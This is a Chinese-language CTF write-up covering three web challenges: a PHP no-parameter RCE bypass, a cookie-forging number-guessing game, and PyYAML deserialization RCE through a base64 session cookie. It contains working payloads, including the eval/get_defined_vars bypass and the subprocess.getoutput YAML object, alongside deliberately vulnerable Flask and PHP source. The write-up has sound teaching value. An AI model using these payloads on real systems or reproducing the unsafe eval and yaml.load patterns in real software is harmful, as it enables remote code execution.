RCE ME !!!
一道签到,无参数RCE.
<?php
highlight_file(__FILE__);
if(isset($_GET['cmd'])){$cmd= $_GET['cmd'];if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\/|zip:\/\//i', $cmd)) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $cmd)) {if (!preg_match('/pwd|tac|cat|chr|ord|ls|dir|conv|info|hex|bin|rand|array|source|file|cwd|dfined|system|assert|sess/i',$cmd)){@eval($cmd);}else{die("不是,哥们!");}}else{die("真的是这样吗?");}}else{die("是这样的吗?");}
}
实际上看到第二个preg就会意识到考察的是无参数rce,使用payload如下就能打
eval(end(current(get_defined_vars())));&a=phpinfo();
flag放在了环境变量中
alpaca_search
本来是没有这道题的,但是在比赛时发现没有发包题.去年好歹有个十年之约,索性临场搞一个.
后端逻辑如下:
from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "guest"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data) # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])correct_number = random.randint(0, 99) # 修改随机数范围为0到99if guess == correct_number:if request.cookies.get('counter'):counter = int(request.cookies.get('counter'))else:counter = 0counter += 1if counter >= 1000:with open(FLAG_PATH, 'r') as f:flag = f.read()return flagelse:resp = make_response(render_template_string(guess_page, message=f'Correct! Counter: {counter}\n{debug_info}'))resp.set_cookie('counter', str(counter))return respelse:message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=5000)
首先admin和guest弱密码登录.然后去进行游戏.
不难发现在对了一次后包中的cookie存在counter.直接伪造cookie进行发包,写出脚本如下.
import requestsurl = "http://challenges.hazmat.buptmerak.cn:21762/guess"
header = {'Host': 'challenges.hazmat.buptmerak.cn:20761','Cookie': f"session = LSB7cGFzc3dvcmQ6IGd1ZXN0LCB1c2VybmFtZTogYWRtaW59Cg ==;counter = 999"}a = ''
while True:for i in range(0, 100):data = {'guess': f'{i}'}response = requests.post(url, headers=header, data=data)a = response.textif 'Tsctf' in a:breakif 'Tsctf' in a:breakprint(a)
alpaca_search_again
后端代码逻辑如下
from flask import Flask, request, render_template_string, redirect, url_for, make_response
import random
import yaml
import html
import base64
import io
import sysapp = Flask(__name__)
app.secret_key = 'super_secret_key'# 使用的用户凭证
valid_username = "admin"
valid_password = "admin"# 伪造的flag存储文件
FLAG_PATH = "flag"# 基础页面样式
base_styles = '''<style>body {font-family: Arial, sans-serif;background-color: #f4f4f4;margin: 0;padding: 0;display: flex;justify-content: center;align-items: center;height: 100vh;}.container {background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);padding: 20px;max-width: 400px;width: 100%;}h2 {text-align: center;color: #333;}form {display: flex;flex-direction: column;}input[type="text"], input[type="password"], input[type="number"] {padding: 10px;margin: 10px 0;border: 1px solid #ccc;border-radius: 5px;font-size: 16px;}input[type="submit"] {background-color: #5cb85c;color: white;padding: 10px;border: none;border-radius: 5px;cursor: pointer;font-size: 16px;margin-top: 10px;}input[type="submit"]:hover {background-color: #4cae4c;}p {color: #666;font-size: 14px;text-align: center;}.error {color: red;text-align: center;margin-top: 10px;}.rules {font-size: 14px;margin-bottom: 20px;color: #555;}</style>
'''# 登录页面HTML
login_page = '''''' + base_styles + '''<div class="container"><h2>Login</h2><p>Please log in to find the alpaca.</p><form method="POST" action="/login"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><input type="submit" value="Login"></form>{% if error %}<p class="error">{{ error }}</p>{% endif %}</div>'''# 猜数字页面HTML
guess_page = '''''' + base_styles + '''<div class="container"><h2>Search the alpaca</h2><div class="rules"><p>Game Rules:</p><ol><li>The goal is to guess the correct hole where alpaca hides between 0 and 99 (inclusive).</li><li>If you guess the correct number 1000 times, you will receive the flag.</li><li>Oh, I do think you can find him</li></ol></div><form method="POST" action="/guess"><input type="number" name="guess" min="0" max="99" placeholder="Enter a number" required><br><input type="submit" value="Submit"></form><p>{{ message }}</p></div>'''# 修正解码前的 Base64 字符串填充
def pad_base64(data):missing_padding = len(data) % 4if (missing_padding):data += '=' * (4 - missing_padding)return data@app.route('/login', methods=['GET', 'POST'])
def login():error = Noneif request.method == 'POST':username = request.form['username']password = request.form['password']if username == valid_username and password == valid_password:user_data = [{'username': username, 'password': password}]serialized_data = yaml.dump(user_data)encoded_data = base64.b64encode(serialized_data.encode()).decode()resp = make_response(redirect(url_for('guess')))resp.set_cookie('session', encoded_data)return respelse:error = "Invalid credentials"return render_template_string(login_page, error=error)@app.route('/guess', methods=['GET', 'POST'])
def guess():session_data = request.cookies.get('session')if not session_data:return redirect(url_for('login'))debug_info = ""try:# 修正解码前的 Base64 字符串session_data = pad_base64(session_data)# 处理 URL 编码后的 Base64 字符串session_data = session_data.replace('-', '+').replace('_', '/')# Base64 解码decoded_data = base64.b64decode(session_data.encode()).decode()# HTML 实体解码unescaped_data = html.unescape(decoded_data)# YAML 反序列化user_info = yaml.load(unescaped_data) # 使用完整的 Loader# 将反序列化后的结果转换为字符串debug_info += f"\n{user_info}\n"except Exception as e:debug_info = f"Error during session processing: {str(e)}"message = ""if request.method == 'POST':try:guess = int(request.form['guess'])message = "Incorrect guess. Try again."except ValueError:message = "Invalid input. Please enter a number between 0 and 99."return render_template_string(guess_page, message=message + "\n" + debug_info)# 根路径重定向到登录页面
@app.route('/')
def index():return redirect(url_for('login'))if __name__ == '__main__':app.run(host='0.0.0.0', port=80)
和alpaca_search相比删除了后端进行回合计数的逻辑.也就说,靠counter去跳过回合不可用了.
我们发现cookie中存在session为LSB7cGFzc3dvcmQ6IGFkbWluLCB1c2VybmFtZTogYWRtaW59Cg==
,base64解码如下
熟悉的话会发现这是个yaml数据,显然有说法(有时也会触发pyyaml报错)
打pyyaml<5.1版本RCE.
由于需要在web端有回显,所以需要捕获标准输出而不能将其输出在控制台.选用getoutput(或check_output).
!!python/object/apply:subprocess.getoutput ["ls"]
进行base64编码,然后直接放到session中即可执行.
读flag的payloadISFweXRob24vb2JqZWN0L2FwcGx5OnN1YnByb2Nlc3MuZ2V0b3V0cHV0IFsiY2F0IGZsYWciXQo=
如果是用check_output则需要构造一下